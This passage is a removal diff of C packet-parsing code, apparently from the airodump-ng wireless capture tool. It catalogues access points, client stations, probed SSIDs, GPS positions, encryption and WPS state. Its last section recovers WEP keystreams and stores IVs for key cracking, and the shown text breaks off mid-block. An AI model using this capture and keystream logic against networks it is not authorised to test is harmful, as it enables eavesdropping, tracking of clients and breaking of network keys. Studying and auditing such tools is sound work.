-		|| ((h80211[1] & 3) == 2))
-	{
-		ap_cur->power_index = (ap_cur->power_index + 1) % NB_PWR;
-		ap_cur->power_lvl[ap_cur->power_index] = ri->ri_power;
-
-		ap_cur->avg_power = 0;
-
-		for (i = 0, n = 0; i < NB_PWR; i++)
-		{
-			if (ap_cur->power_lvl[i] != -1)
-			{
-				ap_cur->avg_power += ap_cur->power_lvl[i];
-				n++;
-			}
-		}
-
-		if (n > 0)
-		{
-			ap_cur->avg_power /= n;
-			if (ap_cur->avg_power > ap_cur->best_power)
-			{
-				ap_cur->best_power = ap_cur->avg_power;
-				memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float) * 5);
-			}
-		}
-		else
-			ap_cur->avg_power = -1;
-
-		/* every packet in here comes from the AP */
-
-		if (G.gps_loc[0] > ap_cur->gps_loc_max[0])
-			ap_cur->gps_loc_max[0] = G.gps_loc[0];
-		if (G.gps_loc[1] > ap_cur->gps_loc_max[1])
-			ap_cur->gps_loc_max[1] = G.gps_loc[1];
-		if (G.gps_loc[2] > ap_cur->gps_loc_max[2])
-			ap_cur->gps_loc_max[2] = G.gps_loc[2];
-
-		if (G.gps_loc[0] < ap_cur->gps_loc_min[0])
-			ap_cur->gps_loc_min[0] = G.gps_loc[0];
-		if (G.gps_loc[1] < ap_cur->gps_loc_min[1])
-			ap_cur->gps_loc_min[1] = G.gps_loc[1];
-		if (G.gps_loc[2] < ap_cur->gps_loc_min[2])
-			ap_cur->gps_loc_min[2] = G.gps_loc[2];
-		//        printf("seqnum: %i\n", seq);
-
-		if (ap_cur->fcapt == 0 && ap_cur->fmiss == 0)
-			gettimeofday(&(ap_cur->ftimef), NULL);
-		if (ap_cur->last_seq != 0)
-			ap_cur->fmiss += (seq - ap_cur->last_seq - 1);
-		ap_cur->last_seq = seq;
-		ap_cur->fcapt++;
-		gettimeofday(&(ap_cur->ftimel), NULL);
-
-		//         if(ap_cur->fcapt >= QLT_COUNT) update_rx_quality();
-	}
-
-	switch (h80211[0])
-	{
-		case 0x80:
-			ap_cur->nb_bcn++;
-			break;
-		case 0x50:
-			/* reset the WPS state */
-			ap_cur->wps.state = 0xFF;
-			ap_cur->wps.ap_setup_locked = 0;
-			break;
-	}
-
-	ap_cur->nb_pkt++;
-
-	/* locate the station MAC in the 802.11 header */
-
-	switch (h80211[1] & 3)
-	{
-		case 0:
-
-			/* if management, check that SA != BSSID */
-
-			if (memcmp(h80211 + 10, bssid, 6) == 0) goto skip_station;
-
-			memcpy(stmac, h80211 + 10, 6);
-			break;
-
-		case 1:
-
-			/* ToDS packet, must come from a client */
-
-			memcpy(stmac, h80211 + 10, 6);
-			break;
-
-		case 2:
-
-			/* FromDS packet, reject broadcast MACs */
-
-			if ((h80211[4] % 2) != 0) goto skip_station;
-			memcpy(stmac, h80211 + 4, 6);
-			break;
-
-		default:
-			goto skip_station;
-	}
-
-	/* update our chained list of wireless stations */
-
-	st_cur = G.st_1st;
-	st_prv = NULL;
-
-	while (st_cur != NULL)
-	{
-		if (!memcmp(st_cur->stmac, stmac, 6)) break;
-
-		st_prv = st_cur;
-		st_cur = st_cur->next;
-	}
-
-	/* if it's a new client, add it */
-
-	if (st_cur == NULL)
-	{
-		if (!(st_cur = (struct ST_info *) malloc(sizeof(struct ST_info))))
-		{
-			perror("malloc failed");
-			return (1);
-		}
-
-		/* if mac is listed as unknown, remove it */
-		remove_namac(stmac);
-
-		memset(st_cur, 0, sizeof(struct ST_info));
-
-		if (G.st_1st == NULL)
-			G.st_1st = st_cur;
-		else
-			st_prv->next = st_cur;
-
-		memcpy(st_cur->stmac, stmac, 6);
-
-		if (st_cur->manuf == NULL)
-		{
-			st_cur->manuf = get_manufacturer(
-				st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2]);
-		}
-
-		st_cur->nb_pkt = 0;
-
-		st_cur->prev = st_prv;
-
-		st_cur->tinit = time(NULL);
-		st_cur->tlast = time(NULL);
-
-		st_cur->power = -1;
-		st_cur->best_power = -1;
-		st_cur->rate_to = -1;
-		st_cur->rate_from = -1;
-
-		st_cur->probe_index = -1;
-		st_cur->missed = 0;
-		st_cur->lastseq = 0;
-		st_cur->qos_fr_ds = 0;
-		st_cur->qos_to_ds = 0;
-		st_cur->channel = 0;
-
-		gettimeofday(&(st_cur->ftimer), NULL);
-
-		memcpy(st_cur->gps_loc_min, G.gps_loc, sizeof(st_cur->gps_loc_min));
-		memcpy(st_cur->gps_loc_max, G.gps_loc, sizeof(st_cur->gps_loc_max));
-		memcpy(st_cur->gps_loc_best, G.gps_loc, sizeof(st_cur->gps_loc_best));
-
-		for (i = 0; i < NB_PRB; i++)
-		{
-			memset(st_cur->probes[i], 0, sizeof(st_cur->probes[i]));
-			st_cur->ssid_length[i] = 0;
-		}
-
-		G.st_end = st_cur;
-	}
-
-	if (st_cur->base == NULL || memcmp(ap_cur->bssid, BROADCAST, 6) != 0)
-		st_cur->base = ap_cur;
-
-	// update bitrate to station
-	if ((st_cur != NULL) && (h80211[1] & 3) == 2) st_cur->rate_to = ri->ri_rate;
-
-	/* update the last time seen */
-
-	st_cur->tlast = time(NULL);
-
-	/* only update power if packets comes from the
-	 * client: either type == Mgmt and SA != BSSID,
-	 * or FromDS == 0 and ToDS == 1 */
-
-	if (((h80211[1] & 3) == 0 && memcmp(h80211 + 10, bssid, 6) != 0)
-		|| ((h80211[1] & 3) == 1))
-	{
-		st_cur->power = ri->ri_power;
-		if (ri->ri_power > st_cur->best_power)
-		{
-			st_cur->best_power = ri->ri_power;
-			memcpy(
-				ap_cur->gps_loc_best, G.gps_loc, sizeof(st_cur->gps_loc_best));
-		}
-
-		st_cur->rate_from = ri->ri_rate;
-		if (ri->ri_channel > 0 && ri->ri_channel <= HIGHEST_CHANNEL)
-			st_cur->channel = ri->ri_channel;
-		else
-			st_cur->channel = G.channel[cardnum];
-
-		if (G.gps_loc[0] > st_cur->gps_loc_max[0])
-			st_cur->gps_loc_max[0] = G.gps_loc[0];
-		if (G.gps_loc[1] > st_cur->gps_loc_max[1])
-			st_cur->gps_loc_max[1] = G.gps_loc[1];
-		if (G.gps_loc[2] > st_cur->gps_loc_max[2])
-			st_cur->gps_loc_max[2] = G.gps_loc[2];
-
-		if (G.gps_loc[0] < st_cur->gps_loc_min[0])
-			st_cur->gps_loc_min[0] = G.gps_loc[0];
-		if (G.gps_loc[1] < st_cur->gps_loc_min[1])
-			st_cur->gps_loc_min[1] = G.gps_loc[1];
-		if (G.gps_loc[2] < st_cur->gps_loc_min[2])
-			st_cur->gps_loc_min[2] = G.gps_loc[2];
-
-		if (st_cur->lastseq != 0)
-		{
-			msd = seq - st_cur->lastseq - 1;
-			if (msd > 0 && msd < 1000) st_cur->missed += msd;
-		}
-		st_cur->lastseq = seq;
-	}
-
-	st_cur->nb_pkt++;
-
-skip_station:
-
-	/* packet parsing: Probe Request */
-
-	if (h80211[0] == 0x40 && st_cur != NULL)
-	{
-		p = h80211 + 24;
-
-		while (p < h80211 + caplen)
-		{
-			if (p + 2 + p[1] > h80211 + caplen) break;
-
-			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
-				&& (p[1] > 1 || p[2] != ' '))
-			{
-				//                n = ( p[1] > 32 ) ? 32 : p[1];
-				n = p[1];
-
-				for (i = 0; i < n; i++)
-					if (p[2 + i] > 0 && p[2 + i] < ' ') goto skip_probe;
-
-				/* got a valid ASCII probed ESSID, check if it's
-				   already in the ring buffer */
-
-				for (i = 0; i < NB_PRB; i++)
-					if (memcmp(st_cur->probes[i], p + 2, n) == 0)
-						goto skip_probe;
-
-				st_cur->probe_index = (st_cur->probe_index + 1) % NB_PRB;
-				memset(st_cur->probes[st_cur->probe_index], 0, 256);
-				memcpy(
-					st_cur->probes[st_cur->probe_index], p + 2, n); // twice?!
-				st_cur->ssid_length[st_cur->probe_index] = n;
-
-				if (verifyssid((const unsigned char *)
-								   st_cur->probes[st_cur->probe_index])
-					== 0)
-					for (i = 0; i < n; i++)
-					{
-						c = p[2 + i];
-						if (c == 0 || (c > 0 && c < 32) || (c > 126 && c < 160))
-							c = '.';
-						st_cur->probes[st_cur->probe_index][i] = c;
-					}
-			}
-
-			p += 2 + p[1];
-		}
-	}
-
-skip_probe:
-
-	/* packet parsing: Beacon or Probe Response */
-
-	if (h80211[0] == 0x80 || h80211[0] == 0x50)
-	{
-		if (!(ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)))
-		{
-			if ((h80211[34] & 0x10) >> 4)
-				ap_cur->security |= STD_WEP | ENC_WEP;
-			else
-				ap_cur->security |= STD_OPN;
-		}
-
-		ap_cur->preamble = (h80211[34] & 0x20) >> 5;
-
-		unsigned long long * tstamp = (unsigned long long *) (h80211 + 24);
-		ap_cur->timestamp = letoh64(*tstamp);
-
-		p = h80211 + 36;
-
-		while (p < h80211 + caplen)
-		{
-			if (p + 2 + p[1] > h80211 + caplen) break;
-
-			// only update the essid length if the new length is > the old one
-			if (p[0] == 0x00 && (ap_cur->ssid_length < p[1]))
-				ap_cur->ssid_length = p[1];
-
-			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
-				&& (p[1] > 1 || p[2] != ' '))
-			{
-				/* found a non-cloaked ESSID */
-
-				//                n = ( p[1] > 32 ) ? 32 : p[1];
-				n = p[1];
-
-				memset(ap_cur->essid, 0, 256);
-				memcpy(ap_cur->essid, p + 2, n);
-
-				if (G.f_ivs != NULL && !ap_cur->essid_stored)
-				{
-					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-					ivs2.flags |= IVS2_ESSID;
-					ivs2.len += ap_cur->ssid_length;
-
-					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
-					{
-						ivs2.flags |= IVS2_BSSID;
-						ivs2.len += 6;
-						memcpy(G.prev_bssid, ap_cur->bssid, 6);
-					}
-
-					/* write header */
-					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
-						!= (size_t) sizeof(struct ivs2_pkthdr))
-					{
-						perror("fwrite(IV header) failed");
-						return (1);
-					}
-
-					/* write BSSID */
-					if (ivs2.flags & IVS2_BSSID)
-					{
-						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
-						{
-							perror("fwrite(IV bssid) failed");
-							return (1);
-						}
-					}
-
-					/* write essid */
-					if (fwrite(ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs)
-						!= (size_t) ap_cur->ssid_length)
-					{
-						perror("fwrite(IV essid) failed");
-						return (1);
-					}
-
-					ap_cur->essid_stored = 1;
-				}
-
-				if (verifyssid(ap_cur->essid) == 0)
-					for (i = 0; i < n; i++)
-						if ((ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32)
-							|| (ap_cur->essid[i] > 126
-								&& ap_cur->essid[i] < 160))
-							ap_cur->essid[i] = '.';
-			}
-
-			/* get the maximum speed in Mb and the AP's channel */
-
-			if (p[0] == 0x01 || p[0] == 0x32)
-			{
-				if (ap_cur->max_speed < (p[1 + p[1]] & 0x7F) / 2)
-					ap_cur->max_speed = (p[1 + p[1]] & 0x7F) / 2;
-			}
-
-			if (p[0] == 0x03)
-			{
-				ap_cur->channel = p[2];
-			}
-			else if (p[0] == 0x3d)
-			{
-				if (ap_cur->standard[0] == '\0')
-				{
-					ap_cur->standard[0] = 'n';
-				}
-
-				/* also get the channel from ht information->primary channel */
-				ap_cur->channel = p[2];
-
-				// Get channel width and secondary channel
-				switch (p[3] % 4)
-				{
-					case 0:
-						// 20MHz
-						ap_cur->channel_width = CHANNEL_20MHZ;
-						break;
-					case 1:
-						// Above
-						ap_cur->n_channel.sec_channel = 1;
-						switch (ap_cur->channel_width)
-						{
-							case CHANNEL_UNKNOWN_WIDTH:
-							case CHANNEL_3MHZ:
-							case CHANNEL_5MHZ:
-							case CHANNEL_10MHZ:
-							case CHANNEL_20MHZ:
-							case CHANNEL_22MHZ:
-							case CHANNEL_30MHZ:
-							case CHANNEL_20_OR_40MHZ:
-								ap_cur->channel_width = CHANNEL_40MHZ;
-								break;
-							default:
-								break;
-						}
-						break;
-					case 2:
-						// Reserved
-						break;
-					case 3:
-						// Below
-						ap_cur->n_channel.sec_channel = -1;
-						switch (ap_cur->channel_width)
-						{
-							case CHANNEL_UNKNOWN_WIDTH:
-							case CHANNEL_3MHZ:
-							case CHANNEL_5MHZ:
-							case CHANNEL_10MHZ:
-							case CHANNEL_20MHZ:
-							case CHANNEL_22MHZ:
-							case CHANNEL_30MHZ:
-							case CHANNEL_20_OR_40MHZ:
-								ap_cur->channel_width = CHANNEL_40MHZ;
-								break;
-							default:
-								break;
-						}
-						break;
-				}
-
-				ap_cur->n_channel.any_chan_width = ((p[3] / 4) % 2);
-			}
-
-			// HT capabilities
-			if (p[0] == 0x2d && p[1] > 18)
-			{
-				if (ap_cur->standard[0] == '\0')
-				{
-					ap_cur->standard[0] = 'n';
-				}
-
-				// Short GI for 20/40MHz
-				ap_cur->n_channel.short_gi_20 = (p[3] / 32) % 2;
-				ap_cur->n_channel.short_gi_40 = (p[3] / 64) % 2;
-
-				// Parse MCS rate
-				/*
-				 * XXX: Sometimes TX and RX spatial stream # differ and none of
-				 * the beacon
-				 * have that. If someone happens to have such AP, open an issue
-				 * with it.
-				 * Ref:
-				 * https://www.wireshark.org/lists/wireshark-bugs/201307/msg00098.html
-				 * See IEEE standard 802.11-2012 table 8.126
-				 *
-				 * For now, just figure out the highest MCS rate.
-				 */
-				if (ap_cur->n_channel.mcs_index == -1)
-				{
-					uint32_t rx_mcs_bitmask = 0;
-					memcpy(&rx_mcs_bitmask, p + 5, sizeof(uint32_t));
-					while (rx_mcs_bitmask)
-					{
-						++(ap_cur->n_channel.mcs_index);
-						rx_mcs_bitmask /= 2;
-					}
-				}
-			}
-
-			// VHT Capabilities
-			if (p[0] == 0xbf && p[1] >= 12)
-			{
-				// Standard is AC
-				strcpy(ap_cur->standard, "ac");
-
-				ap_cur->ac_channel.split_chan = (p[3] / 4) % 4;
-
-				ap_cur->ac_channel.short_gi_80 = (p[3] / 32) % 2;
-				ap_cur->ac_channel.short_gi_160 = (p[3] / 64) % 2;
-
-				ap_cur->ac_channel.mu_mimo
-					= ((p[3] / 524288) % 2) || ((p[3] / 1048576) % 2);
-
-				// A few things indicate Wave 2: MU-MIMO, 80+80 Channels
-				ap_cur->ac_channel.wave_2 = ap_cur->ac_channel.mu_mimo
-											|| ap_cur->ac_channel.split_chan;
-
-				// Maximum rates (16 bit)
-				uint16_t tx_mcs = 0;
-				memcpy(&tx_mcs, p + 10, sizeof(uint16_t));
-
-				// Maximum of 8 SS, each uses 2 bits
-				for (uint8_t stream_idx = 0; stream_idx < MAX_AC_MCS_INDEX;
-					 ++stream_idx)
-				{
-					uint8_t mcs = (uint8_t)(tx_mcs % 4);
-
-					// Unsupported -> No more spatial stream
-					if (mcs == 3)
-					{
-						break;
-					}
-					switch (mcs)
-					{
-						case 0:
-							// support of MCS 0-7
-							ap_cur->ac_channel.mcs_index[stream_idx] = 7;
-							break;
-						case 1:
-							// support of MCS 0-8
-							ap_cur->ac_channel.mcs_index[stream_idx] = 8;
-							break;
-						case 2:
-							// support of MCS 0-9
-							ap_cur->ac_channel.mcs_index[stream_idx] = 9;
-							break;
-					}
-
-					// Next spatial stream
-					tx_mcs /= 4;
-				}
-			}
-
-			// VHT Operations
-			if (p[0] == 0xc0 && p[1] >= 3)
-			{
-				// Standard is AC
-				strcpy(ap_cur->standard, "ac");
-
-				// Channel width
-				switch (p[2])
-				{
-					case 0:
-						// 20 or 40MHz
-						ap_cur->channel_width = CHANNEL_20_OR_40MHZ;
-						break;
-					case 1:
-						ap_cur->channel_width = CHANNEL_80MHZ;
-						break;
-					case 2:
-						ap_cur->channel_width = CHANNEL_160MHZ;
-						break;
-					case 3:
-						// 80+80MHz
-						ap_cur->channel_width = CHANNEL_80_80MHZ;
-						ap_cur->ac_channel.split_chan = 1;
-						break;
-				}
-
-				// 802.11ac channel center segments
-				ap_cur->ac_channel.center_sgmt[0] = p[3];
-				ap_cur->ac_channel.center_sgmt[1] = p[4];
-			}
-
-			// Next
-			p += 2 + p[1];
-		}
-
-		// Now get max rate
-		if (ap_cur->standard[0] == 'n' || strcmp(ap_cur->standard, "ac") == 0)
-		{
-			int sgi = 0;
-			int width = 0;
-
-			switch (ap_cur->channel_width)
-			{
-				case CHANNEL_20MHZ:
-					width = 20;
-					sgi = ap_cur->n_channel.short_gi_20;
-					break;
-				case CHANNEL_20_OR_40MHZ:
-				case CHANNEL_40MHZ:
-					width = 40;
-					sgi = ap_cur->n_channel.short_gi_40;
-					break;
-				case CHANNEL_80MHZ:
-					width = 80;
-					sgi = ap_cur->ac_channel.short_gi_80;
-					break;
-				case CHANNEL_80_80MHZ:
-				case CHANNEL_160MHZ:
-					width = 160;
-					sgi = ap_cur->ac_channel.short_gi_160;
-					break;
-				default:
-					break;
-			}
-
-			if (width != 0)
-			{
-				// In case of ac, get the amount of spatial streams
-				int amount_ss = 1;
-				if (ap_cur->standard[0] != 'n')
-				{
-					for (amount_ss = 0;
-						 amount_ss < MAX_AC_MCS_INDEX
-						 && ap_cur->ac_channel.mcs_index[amount_ss] != 0;
-						 ++amount_ss)
-						;
-				}
-
-				// Get rate
-				float max_rate
-					= (ap_cur->standard[0] == 'n')
-						  ? get_80211n_rate(
-								width, sgi, ap_cur->n_channel.mcs_index)
-						  : get_80211ac_rate(
-								width,
-								sgi,
-								ap_cur->ac_channel.mcs_index[amount_ss - 1],
-								amount_ss);
-
-				// If no error, update rate
-				if (max_rate > 0)
-				{
-					ap_cur->max_speed = (int) max_rate;
-				}
-			}
-		}
-	}
-
-	/* packet parsing: Beacon & Probe response */
-	/* TODO: Merge this if and the one above */
-	if ((h80211[0] == 0x80 || h80211[0] == 0x50) && caplen > 38)
-	{
-		p = h80211 + 36; // ignore hdr + fixed params
-
-		while (p < h80211 + caplen)
-		{
-			type = p[0];
-			length = p[1];
-			if (p + 2 + length > h80211 + caplen)
-			{
-				/*                printf("error parsing tags! %p vs. %p (tag:
-				%i, length: %i,position: %i)\n", (p+2+length), (h80211+caplen),
-				type, length, (p-h80211));
-				exit(1);*/
-				break;
-			}
-
-			// Find WPA and RSN tags
-			if ((type == 0xDD && (length >= 8)
-				 && (memcmp(p + 2, "\x00\x50\xF2\x01\x01\x00", 6) == 0))
-				|| (type == 0x30))
-			{
-				ap_cur->security &= ~(STD_WEP | ENC_WEP | STD_WPA);
-
-				org_p = p;
-				offset = 0;
-
-				if (type == 0xDD)
-				{
-					// WPA defined in vendor specific tag -> WPA1 support
-					ap_cur->security |= STD_WPA;
-					offset = 4;
-				}
-
-				// RSN => WPA2
-				if (type == 0x30)
-				{
-					ap_cur->security |= STD_WPA2;
-					offset = 0;
-				}
-
-				if (length < (18 + offset))
-				{
-					p += length + 2;
-					continue;
-				}
-
-				// Number of pairwise cipher suites
-				if (p + 9 + offset > h80211 + caplen) break;
-				numuni = p[8 + offset] + (p[9 + offset] << 8);
-
-				// Number of Authentication Key Managament suites
-				if (p + (11 + offset) + 4 * numuni > h80211 + caplen) break;
-				numauth = p[(10 + offset) + 4 * numuni]
-						  + (p[(11 + offset) + 4 * numuni] << 8);
-
-				p += (10 + offset);
-
-				if (type != 0x30)
-				{
-					if (p + (4 * numuni) + (2 + 4 * numauth) > h80211 + caplen)
-						break;
-				}
-				else
-				{
-					if (p + (4 * numuni) + (2 + 4 * numauth) + 2
-						> h80211 + caplen)
-						break;
-				}
-
-				// Get the list of cipher suites
-				for (i = 0; i < numuni; i++)
-				{
-					switch (p[i * 4 + 3])
-					{
-						case 0x01:
-							ap_cur->security |= ENC_WEP;
-							break;
-						case 0x02:
-							ap_cur->security |= ENC_TKIP;
-							break;
-						case 0x03:
-							ap_cur->security |= ENC_WRAP;
-							break;
-						case 0x0A:
-						case 0x04:
-							ap_cur->security |= ENC_CCMP;
-							break;
-						case 0x05:
-							ap_cur->security |= ENC_WEP104;
-							break;
-						case 0x08:
-						case 0x09:
-							ap_cur->security |= ENC_GCMP;
-							break;
-						default:
-							break;
-					}
-				}
-
-				p += 2 + 4 * numuni;
-
-				// Get the AKM suites
-				for (i = 0; i < numauth; i++)
-				{
-					switch (p[i * 4 + 3])
-					{
-						case 0x01:
-							ap_cur->security |= AUTH_MGT;
-							break;
-						case 0x02:
-							ap_cur->security |= AUTH_PSK;
-							break;
-						default:
-							break;
-					}
-				}
-
-				p += 2 + 4 * numauth;
-
-				if (type == 0x30) p += 2;
-
-				p = org_p + length + 2;
-			}
-			else if ((type == 0xDD && (length >= 8)
-					  && (memcmp(p + 2, "\x00\x50\xF2\x02\x01\x01", 6) == 0)))
-			{
-				// QoS IE
-				ap_cur->security |= STD_QOS;
-				p += length + 2;
-			}
-			else if ((type == 0xDD && (length >= 4)
-					  && (memcmp(p + 2, "\x00\x50\xF2\x04", 4) == 0)))
-			{
-				// WPS IE
-				org_p = p;
-				p += 6;
-				int len = length, subtype = 0, sublen = 0;
-				while (len >= 4)
-				{
-					subtype = (p[0] << 8) + p[1];
-					sublen = (p[2] << 8) + p[3];
-					if (sublen > len) break;
-					switch (subtype)
-					{
-						case 0x104a: // WPS Version
-							ap_cur->wps.version = p[4];
-							break;
-						case 0x1011: // Device Name
-						case 0x1012: // Device Password ID
-						case 0x1021: // Manufacturer
-						case 0x1023: // Model
-						case 0x1024: // Model Number
-						case 0x103b: // Response Type
-						case 0x103c: // RF Bands
-						case 0x1041: // Selected Registrar
-						case 0x1042: // Serial Number
-							break;
-						case 0x1044: // WPS State
-							ap_cur->wps.state = p[4];
-							break;
-						case 0x1047: // UUID Enrollee
-						case 0x1049: // Vendor Extension
-							if (memcmp(&p[4], "\x00\x37\x2A", 3) == 0)
-							{
-								unsigned char * pwfa = &p[7];
-								int wfa_len = ntohs(*((short *) &p[2]));
-								while (wfa_len > 0)
-								{
-									if (*pwfa == 0)
-									{ // Version2
-										ap_cur->wps.version = pwfa[2];
-										break;
-									}
-									wfa_len -= pwfa[1] + 2;
-									pwfa += pwfa[1] + 2;
-								}
-							}
-							break;
-						case 0x1054: // Primary Device Type
-							break;
-						case 0x1057: // AP Setup Locked
-							ap_cur->wps.ap_setup_locked = p[4];
-							break;
-						case 0x1008: // Config Methods
-						case 0x1053: // Selected Registrar Config Methods
-							ap_cur->wps.meth = (p[4] << 8) + p[5];
-							break;
-						default: // Unknown type-length-value
-							break;
-					}
-					p += sublen + 4;
-					len -= sublen + 4;
-				}
-				p = org_p + length + 2;
-			}
-			else
-				p += length + 2;
-		}
-	}
-
-	/* packet parsing: Authentication Response */
-
-	if (h80211[0] == 0xB0 && caplen >= 30)
-	{
-		if (ap_cur->security & STD_WEP)
-		{
-			// successful step 2 or 4 (coming from the AP)
-			if (memcmp(h80211 + 28, "\x00\x00", 2) == 0
-				&& (h80211[26] == 0x02 || h80211[26] == 0x04))
-			{
-				ap_cur->security &= ~(AUTH_OPN | AUTH_PSK | AUTH_MGT);
-				if (h80211[24] == 0x00) ap_cur->security |= AUTH_OPN;
-				if (h80211[24] == 0x01) ap_cur->security |= AUTH_PSK;
-			}
-		}
-	}
-
-	/* packet parsing: Association Request */
-
-	if (h80211[0] == 0x00 && caplen > 28)
-	{
-		p = h80211 + 28;
-
-		while (p < h80211 + caplen)
-		{
-			if (p + 2 + p[1] > h80211 + caplen) break;
-
-			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
-				&& (p[1] > 1 || p[2] != ' '))
-			{
-				/* found a non-cloaked ESSID */
-
-				n = (p[1] > 32) ? 32 : p[1];
-
-				memset(ap_cur->essid, 0, 33);
-				memcpy(ap_cur->essid, p + 2, n);
-				ap_cur->ssid_length = n;
-
-				if (G.f_ivs != NULL && !ap_cur->essid_stored)
-				{
-					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-					ivs2.flags |= IVS2_ESSID;
-					ivs2.len += ap_cur->ssid_length;
-
-					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
-					{
-						ivs2.flags |= IVS2_BSSID;
-						ivs2.len += 6;
-						memcpy(G.prev_bssid, ap_cur->bssid, 6);
-					}
-
-					/* write header */
-					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
-						!= (size_t) sizeof(struct ivs2_pkthdr))
-					{
-						perror("fwrite(IV header) failed");
-						return (1);
-					}
-
-					/* write BSSID */
-					if (ivs2.flags & IVS2_BSSID)
-					{
-						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
-						{
-							perror("fwrite(IV bssid) failed");
-							return (1);
-						}
-					}
-
-					/* write essid */
-					if (fwrite(ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs)
-						!= (size_t) ap_cur->ssid_length)
-					{
-						perror("fwrite(IV essid) failed");
-						return (1);
-					}
-
-					ap_cur->essid_stored = 1;
-				}
-
-				if (verifyssid(ap_cur->essid) == 0)
-					for (i = 0; i < n; i++)
-						if ((ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32)
-							|| (ap_cur->essid[i] > 126
-								&& ap_cur->essid[i] < 160))
-							ap_cur->essid[i] = '.';
-			}
-
-			p += 2 + p[1];
-		}
-		if (st_cur != NULL) st_cur->wpa.state = 0;
-	}
-
-	/* packet parsing: some data */
-
-	if ((h80211[0] & 0x0C) == 0x08)
-	{
-		/* update the channel if we didn't get any beacon */
-
-		if (ap_cur->channel == -1)
-		{
-			if (ri->ri_channel > 0 && ri->ri_channel <= HIGHEST_CHANNEL)
-				ap_cur->channel = ri->ri_channel;
-			else
-				ap_cur->channel = G.channel[cardnum];
-		}
-
-		/* check the SNAP header to see if data is encrypted */
-
-		z = ((h80211[1] & 3) != 3) ? 24 : 30;
-
-		/* Check if 802.11e (QoS) */
-		if ((h80211[0] & 0x80) == 0x80)
-		{
-			z += 2;
-			if (st_cur != NULL)
-			{
-				if ((h80211[1] & 3) == 1) // ToDS
-					st_cur->qos_to_ds = 1;
-				else
-					st_cur->qos_fr_ds = 1;
-			}
-		}
-		else
-		{
-			if (st_cur != NULL)
-			{
-				if ((h80211[1] & 3) == 1) // ToDS
-					st_cur->qos_to_ds = 0;
-				else
-					st_cur->qos_fr_ds = 0;
-			}
-		}
-
-		if (z == 24)
-		{
-			if (list_check_decloak(&(ap_cur->packets), caplen, h80211) != 0)
-			{
-				list_add_packet(&(ap_cur->packets), caplen, h80211);
-			}
-			else
-			{
-				ap_cur->is_decloak = 1;
-				ap_cur->decloak_detect = 0;
-				list_tail_free(&(ap_cur->packets));
-				memset(G.message, '\x00', sizeof(G.message));
-				snprintf(G.message,
-						 sizeof(G.message) - 1,
-						 "][ Decloak: %02X:%02X:%02X:%02X:%02X:%02X ",
-						 ap_cur->bssid[0],
-						 ap_cur->bssid[1],
-						 ap_cur->bssid[2],
-						 ap_cur->bssid[3],
-						 ap_cur->bssid[4],
-						 ap_cur->bssid[5]);
-			}
-		}
-
-		if (z + 26 > (unsigned) caplen) goto write_packet;
-
-		if (h80211[z] == h80211[z + 1] && h80211[z + 2] == 0x03)
-		{
-			//            if( ap_cur->encryption < 0 )
-			//                ap_cur->encryption = 0;
-
-			/* if ethertype == IPv4, find the LAN address */
-
-			if (h80211[z + 6] == 0x08 && h80211[z + 7] == 0x00
-				&& (h80211[1] & 3) == 0x01)
-				memcpy(ap_cur->lanip, &h80211[z + 20], 4);
-
-			if (h80211[z + 6] == 0x08 && h80211[z + 7] == 0x06)
-				memcpy(ap_cur->lanip, &h80211[z + 22], 4);
-		}
-		//        else
-		//            ap_cur->encryption = 2 + ( ( h80211[z + 3] & 0x20 ) >> 5
-		//            );
-
-		if (ap_cur->security == 0 || (ap_cur->security & STD_WEP))
-		{
-			if ((h80211[1] & 0x40) != 0x40)
-			{
-				ap_cur->security |= STD_OPN;
-			}
-			else
-			{
-				if ((h80211[z + 3] & 0x20) == 0x20)
-				{
-					ap_cur->security |= STD_WPA;
-				}
-				else
-				{
-					ap_cur->security |= STD_WEP;
-					if ((h80211[z + 3] & 0xC0) != 0x00)
-					{
-						ap_cur->security |= ENC_WEP40;
-					}
-					else
-					{
-						ap_cur->security &= ~ENC_WEP40;
-						ap_cur->security |= ENC_WEP;
-					}
-				}
-			}
-		}
-
-		if (z + 10 > (unsigned) caplen) goto write_packet;
-
-		if (ap_cur->security & STD_WEP)
-		{
-			/* WEP: check if we've already seen this IV */
-
-			if (!uniqueiv_check(ap_cur->uiv_root, &h80211[z]))
-			{
-				/* first time seen IVs */
-
-				if (G.f_ivs != NULL)
-				{
-					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-					ivs2.flags = 0;
-					ivs2.len = 0;
-
-					/* datalen = caplen - (header+iv+ivs) */
-					dlen = caplen - z - 4 - 4; // original data len
-					if (dlen > 2048) dlen = 2048;
-					// get cleartext + len + 4(iv+idx)
-					num_xor = known_clear(clear, &clen, weight, h80211, dlen);
-					if (num_xor == 1)
-					{
-						ivs2.flags |= IVS2_XOR;
-						ivs2.len += clen + 4;
-						/* reveal keystream (plain^encrypted) */
-						for (n = 0; n < (ivs2.len - 4); n++)
-						{
-							clear[n] = (clear[n] ^ h80211[z + 4 + n]) & 0xFF;
-						}
-						// clear is now the keystream
-					}
-					else
-					{
-						// do it again to get it 2 bytes higher
-						num_xor = known_clear(
-							clear + 2, &clen, weight, h80211, dlen);
-						ivs2.flags |= IVS2_PTW;
-						// len = 4(iv+idx) + 1(num of keystreams) + 1(len per
-						// keystream) + 32*num_xor + 16*sizeof(int)(weight[16])
-						ivs2.len += 4 + 1 + 1 + 32 * num_xor + 16 * sizeof(int);
-						clear[0] = num_xor;
-						clear[1] = clen;
-						/* reveal keystream (plain^encrypted) */
